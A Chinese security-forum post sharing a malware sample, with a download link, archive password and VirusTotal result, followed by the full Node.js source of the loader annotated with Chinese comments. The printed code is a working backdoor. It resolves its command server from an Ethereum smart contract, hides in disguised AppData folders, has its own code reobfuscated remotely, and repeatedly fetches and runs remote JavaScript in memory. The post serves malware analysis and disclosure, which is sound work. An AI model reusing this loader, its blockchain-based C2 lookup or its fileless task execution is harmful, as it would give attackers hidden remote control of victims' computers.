本帖最后由 wywt123 于 2026-4-19 01:37 编辑
https://www.wenshushu.cn/f/joyzrqpmqsl
解压密码 infected
vt
初扫0
https://www.virustotal.com/gui/f ... 0182bf999/detection
包含的node脚本,AI补了下注释,没做deobfuscate
- ((() => {
- // ---------------------------------------------------------
- // 1. 自定义模块加载器与内部环境搭建
- // ---------------------------------------------------------
- var _a = {
- // 模块未找到时的错误处理 fallback
- 0x33c(module) {
- function _b(_c) {
- var _d = new Error('Cannot find module \'' + _c + '\'');
- _d['code'] = 'MODULE_NOT_FOUND';
- throw _d;
- }
- _b['keys'] = () => [];
- _b['resolve'] = _b;
- _b['id'] = 0x33c;
- module['exports'] = _b;
- },
- // 映射 Node.js 内置核心模块
- 0x2ed(module) { 'use strict'; module['exports'] = require('crypto'); },
- 0x17f(module) { 'use strict'; module['exports'] = require('fs'); },
- 0x16e(module) { 'use strict'; module['exports'] = require('os'); },
- 0x3(module) { 'use strict'; module['exports'] = require('path'); }
- },
- _e = {}; // 模块缓存对象
- // 混淆版本的 require 函数
- function _f(_g) {
- var _h = _e[_g];
- if (_h !== undefined) return _h['exports'];
- var module = _e[_g] = { 'exports': {} };
- return _a[_g](module, module['exports'], _f), module['exports'];
- }
-
- // 注入辅助方法 hasOwnProperty
- ((() => { _f['o'] = (_i, _j) => Object['prototype']['hasOwnProperty']['call'](_i, _j); })());
-
- var _k = {}; // 模块导出对象
- // ---------------------------------------------------------
- // 2. 主程序的异步自执行函数 (IIFE)
- // ---------------------------------------------------------
- ((async () => {
- // --- 核心配置与常量 ---
- const _l = 'http://localhost:3000', // 备用/初始的 C2 服务器地址
- _m = '75232343-170a-4410-9efc-d485b2227be2', // 僵尸网络 Build ID / 批次号
- _n = '0x535419201734ef3a28084fbcf8c29fc9d5b0ce1b', // 以太坊智能合约地址
- _o = '0x9544629d7e40c36ed2fa5d35e144c874d16f3bcb', // 发送给智能合约的查询参数
- _p = !![], // true: 开启区块链 C2 解析
- _q = !![], // true: 开启本地日志记录
- // 用于查询智能合约的公共 RPC 节点列表
- _r = [
- 'https://mainnet.gateway.tenderly.co',
- 'https://rpc.flashbots.net/fast',
- 'https://rpc.mevblocker.io',
- 'https://eth-mainnet.public.blastapi.io',
- 'https://ethereum-rpc.publicnode.com',
- 'https://eth.drpc.org',
- 'https://eth.merkle.io'
- ],
- _s = _f(0x17f), // fs 模块
- _t = _f(0x3), // path 模块
- _u = _f(0x2ed); // crypto 模块
- let _v = _l, // 运行时动态更新的真实 C2 地址
- _w = _q; // 运行时的日志开关状态
- // --- 隐蔽机制:计算伪装的文件路径 ---
- const _x = () => {
- const _y = process['env']['LOCALAPPDATA'] || _t['join'](process['env']['USERPROFILE'] || '', 'AppData', 'Local'),
- _z = ['Microsoft', 'Windows', 'Programs', 'Packages', 'Google'], // 混淆主文件夹名
- _aa = ['Services', 'Components', 'Assemblies', 'Extensions', 'Modules'], // 混淆子文件夹名
- _ab = (process['env']['COMPUTERNAME'] || '') + (process['env']['USERNAME'] || ''), // 机器硬件特征
- _ac = _u['createHash']('md5')['update'](_ab)['digest']('hex')['slice'](0x0, 0x8), // 特征哈希前8位
- _ad = _z[parseInt(_ac['slice'](0x0, 0x2), 0x10) % _z['length']], // 动态选择主文件夹
- _ae = _aa[parseInt(_ac['slice'](0x2, 0x4), 0x10) % _aa['length']], // 动态选择子文件夹
- _af = _ac['slice'](0x4),
- _ag = _t['join'](_y, _ad); // 拼接完整伪装路径
-
- if (_s['existsSync'](_ag)) return _t['join'](_ag, _ae, _af);
- return _t['join'](_y, _ac);
- },
- _ah = _x(), // _ah = 计算出的恶意软件潜伏目录
- // _ai = Base64 编码的本地配置文件路径
- _ai = _t['join'](_ah, _u['createHash']('md5')['update'](_ah)['digest']('hex')['slice'](0x0, 0x6)),
- // _aj = 伪装为 svchost 的日志文件
- _aj = _t['join'](process['env']['APPDATA'], 'svchost.log'),
-
- // --- 辅助工具函数 ---
- // 记录日志
- log = _ak => {
- if (!_w) return;
- try {
- const _al = new Date()['toISOString']();
- _s['appendFileSync'](_aj, '[' + _al + '] ' + _ak + '\n');
- } catch (_am) {
- try { _s['writeFileSync'](_aj, '[' + ts + '] LOG ERROR: ' + _am['message'] + '\n'); } catch {}
- }
- },
- // 读取配置
- _an = () => {
- try {
- if (_s['existsSync'](_ai)) {
- const _ao = _s['readFileSync'](_ai, 'utf8');
- return JSON['parse'](Buffer['from'](_ao, 'base64')['toString']());
- }
- } catch {}
- return null;
- },
- // 保存配置
- _ap = _aq => {
- try {
- _s['mkdirSync'](_ah, { 'recursive': !![] });
- _s['writeFileSync'](_ai, Buffer['from'](JSON['stringify'](_aq))['toString']('base64'));
- log('Config saved');
- } catch {}
- },
- // 初始化或获取 Bot 的唯一标识符 (UUID)
- _ar = () => {
- let _as = _an();
- if (_as && _as[0x0]) return _as[0x0]; // 如果已有ID则直接返回
-
- const _at = process['env']['APPDATA'] || _f(0x16e)['homedir'](),
- _au = _t['join'](_at, '.node_bot_id'); // 尝试寻找隐藏的 ID 文件
-
- try {
- if (_s['existsSync'](_au)) {
- const _av = _s['readFileSync'](_au, 'utf8')['trim']();
- if (!_as) _as = {};
- return _as[0x0] = _av, _ap(_as), _av;
- }
- } catch {}
-
- // 扫描 APPDATA 目录下长度为11的隐藏文件作为备份特征
- try {
- const _aw = _s['readdirSync'](_at)['filter'](_ax => _ax['startsWith']('.') && _ax['length'] === 0xb);
- if (_aw['length'] > 0x0) {
- const _ay = _s['readFileSync'](_t['join'](_at, _aw[0x0]), 'utf8')['trim']();
- if (!_as) _as = {};
- return _as[0x0] = _ay, _ap(_as), _ay;
- }
- } catch {}
-
- // 全新感染则生成新的 UUID
- const _az = _u['randomUUID']();
- if (!_as) _as = {};
- return _as[0x0] = _az, _ap(_as), _az;
- },
-
- _ba = _ar(), // 获取当前的 Bot ID
- _bb = _bc => new Promise(_bd => setTimeout(_bd, _bc)), // 封装延时函数 (sleep)
- _be = '0x7d434425'; // 用于 Web3 查询的 method signature
- log('Started | ID: ' + _ba + ' | Build: ' + _m);
- log('Install dir: ' + _ah);
- // 构造以太坊合约调用的 Data Payload
- const _bf = _bg => {
- return _be + _bg['toLowerCase']()['replace']('0x', '')['padStart'](0x40, '0');
- },
-
- // 解析 RPC 返回的十六进制数据,将其转为正常的字符串(即 C2 的 URL)
- _bh = _bi => {
- if (!_bi || _bi === '0x' || _bi['length'] < 0x82) return null;
- try {
- const _bj = _bi['replace']('0x', ''),
- _bk = parseInt(_bj['slice'](0x0, 0x40), 0x10) * 0x2,
- _bl = parseInt(_bj['slice'](_bk, _bk + 0x40), 0x10),
- _bm = _bj['slice'](_bk + 0x40, _bk + 0x40 + _bl * 0x2);
- return Buffer['from'](_bm, 'hex')['toString']('utf8');
- } catch { return null; }
- },
-
- // --- 核心网络功能:利用 Web3 获取控制服务器 ---
- _bn = async () => {
- const _bo = {},
- _bp = _bf(_o), // 组合 payload
- _bq = _r['map'](async _br => {
- try {
- // 并发向多个 RPC 节点请求合约数据
- const _bs = await fetch(_br, {
- 'method': 'POST',
- 'headers': { 'Content-Type': 'application/json' },
- 'body': JSON['stringify']({
- 'jsonrpc': '2.0',
- 'method': 'eth_call',
- 'params': [{ 'to': _n, 'data': _bp }, 'latest'],
- 'id': 0x1
- }),
- 'signal': AbortSignal['timeout'](0x2710) // 10秒超时
- }),
- _bt = await _bs['json']();
-
- if (_bt['result']) {
- const _bu = _bh(_bt['result']);
- // 验证解码后是否为合法的 HTTP/WS 协议 URL
- if (_bu && /^(https?|wss?):\/\//['test'](_bu)) {
- _bo[_br] = _bu['trim']();
- }
- }
- } catch {}
- });
-
- await Promise['allSettled'](_bq); // 等待所有节点响应
- const _bv = Object['values'](_bo);
- if (!_bv['length']) return null;
-
- // 共识机制:寻找多数节点返回的相同 URL 以防篡改
- const _bw = {};
- _bv['forEach'](_bx => { _bw[_bx] = (_bw[_bx] || 0x0) + 0x1; });
- return Object['entries'](_bw)['sort']((_by, _bz) => _bz[0x1] - _by[0x1])[0x0][0x0];
- },
-
- // 执行区块链解析并赋值全局变量
- _ca = async () => {
- if (!_p) { log('Blockchain disabled, using fallback'); return; }
- log('Fetching URL from blockchain...');
- const _cb = await _bn();
- if (_cb) {
- _v = _cb; // 成功则覆盖 fallback C2
- log('Blockchain URL: ' + _cb);
- } else {
- log('Blockchain fetch failed, using fallback');
- }
- };
- await _ca();
- log('Server URL: ' + _v);
- // --- 防御逃逸:动态更新并重度混淆自身的代码 ---
- const _cc = async () => {
- try {
- let _cd = _an();
- if (!_cd || _cd[0x3]) { log('Reobfuscation skipped (already done)'); return; }
- if (!_cd[0x1]) return;
-
- const _ce = _t['join'](_ah, _cd[0x1]);
- if (!_s['existsSync'](_ce)) return;
-
- log('Requesting reobfuscation...');
- const _cf = _s['readFileSync'](_ce, 'utf8'),
- // 携带当前代码去服务端换取一份新混淆的代码 (避免特征码被杀软抓取)
- _cg = await fetch(_v + '/api/0ffd0d83/' + _ba, {
- 'method': 'POST',
- 'headers': { 'Content-Type': 'application/json' },
- 'body': JSON['stringify']({ 'code': _cf, 'build': _m }),
- 'signal': AbortSignal['timeout'](0x7530) // 30秒超时
- });
-
- if (!_cg['ok']) { log('Reobf failed: ' + _cg['status']); return; }
-
- const _ch = await _cg['text']();
- if (!_ch || _ch['length'] < 0x64) return;
-
- _s['writeFileSync'](_ce, _ch, 'utf8'); // 覆写本地文件
- _cd[0x3] = Date['now']();
- _ap(_cd);
- log('Reobfuscated, saved for next start');
- } catch (_ci) { log('Reobf error: ' + _ci['message']); }
- };
- await _cc();
- // --- 核心恶意行为:无限轮询获取 Payload 并在内存执行 ---
- async function _cj() {
- // 随机生成请求路径和后缀名,伪装成获取网页静态资源 (图片/样式表)
- const _ck = _u['randomBytes'](0x4)['toString']('hex'),
- _cl = ['png', 'jpg', 'gif', 'css', 'ico', 'webp'],
- _cm = _cl[Math['floor'](Math['random']() * _cl['length'])],
- _cn = ['id', 'token', 'key', 'b', 'q', 's', 'v'],
- _co = _cn[Math['floor'](Math['random']() * _cn['length'])],
- _cp = _u['randomBytes'](0x4)['toString']('hex'),
- _cq = _v + '/api/' + _ck + '/' + _ba + '/' + _cp + '.' + _cm + '?' + _co + '=' + _m;
- try {
- log('Polling: ' + _cq);
- const _cr = new AbortController(),
- _cs = setTimeout(() => _cr['abort'](), 0x1d4c0), // 120秒长轮询超时设定
- _ct = await fetch(_cq, {
- 'signal': _cr['signal'],
- 'headers': { 'X-Bot-Server': _v }
- });
-
- clearTimeout(_cs);
-
- if (!_ct['ok']) {
- log('Poll failed: ' + _ct['status']);
- await _bb(0x1388); // 失败重试延时 5000 毫秒
- return;
- }
-
- const _cu = await _ct['text'](); // 拿到远程下发的代码 (Task)
-
- if (_cu && _cu['length'] > 0xa) {
- log('Received task (' + _cu['length'] + ' bytes)');
- setImmediate(async () => {
- try {
- // 【高危利用点】: 无文件执行 (Fileless Execution)
- // 动态创建 AsyncFunction,并强行注入 Node 的系统级上下文对象
- const _cv = Object['getPrototypeOf'](async function() {})['constructor'],
- _cw = new _cv('require', 'process', 'Buffer', 'console', '__dirname', '__filename', 'log', _cu);
-
- // 调用执行远端 Payload,它将拥有完全控制机器的权限
- await _cw(typeof require !== 'undefined' ? require : _f(0x33c), process, Buffer, console, __dirname, __filename, log);
- log('Task executed');
- } catch (_cx) { log('Task error: ' + _cx['message']); }
- });
- }
- } catch (_cy) {
- if (_cy['name'] !== 'AbortError') {
- log('Connect error: ' + _cy['message']);
- await _bb(0x1388); // 错误延时 5000 毫秒
- }
- }
- }
- let _cz = Date['now']();
-
- // --- 定时任务与守护 ---
- setInterval(() => {
- // 每隔 300000 毫秒 (5分钟),重新向区块链确认 C2 节点是否发生了切换
- if (_p && Date['now']() - _cz > 0x493e0) {
- log('Refreshing blockchain URL...');
- _bn()['then'](_da => {
- if (_da && _da !== _v) {
- _v = _da;
- log('New URL: ' + _da);
- }
- })['catch'](() => {});
- _cz = Date['now']();
- }
-
- // 实时同步配置里的日志开关状态
- const _db = _an();
- if (_db && typeof _db[0x5] === 'boolean') _w = _db[0x5];
- }, 0xea60); // 60秒执行一次检查
- log('Main loop started');
-
- // 死循环轮询
- while (!![]) { // !![] 隐式转换为 true
- try {
- await _cj(); // 请求执行任务
- } catch (_dc) {
- log('Loop error: ' + _dc['message']);
- }
- await _bb(0x1f4); // 默认心跳间隔 500 毫秒
- }
- })());
- module['exports'] = _k;
- })());
复制代码
|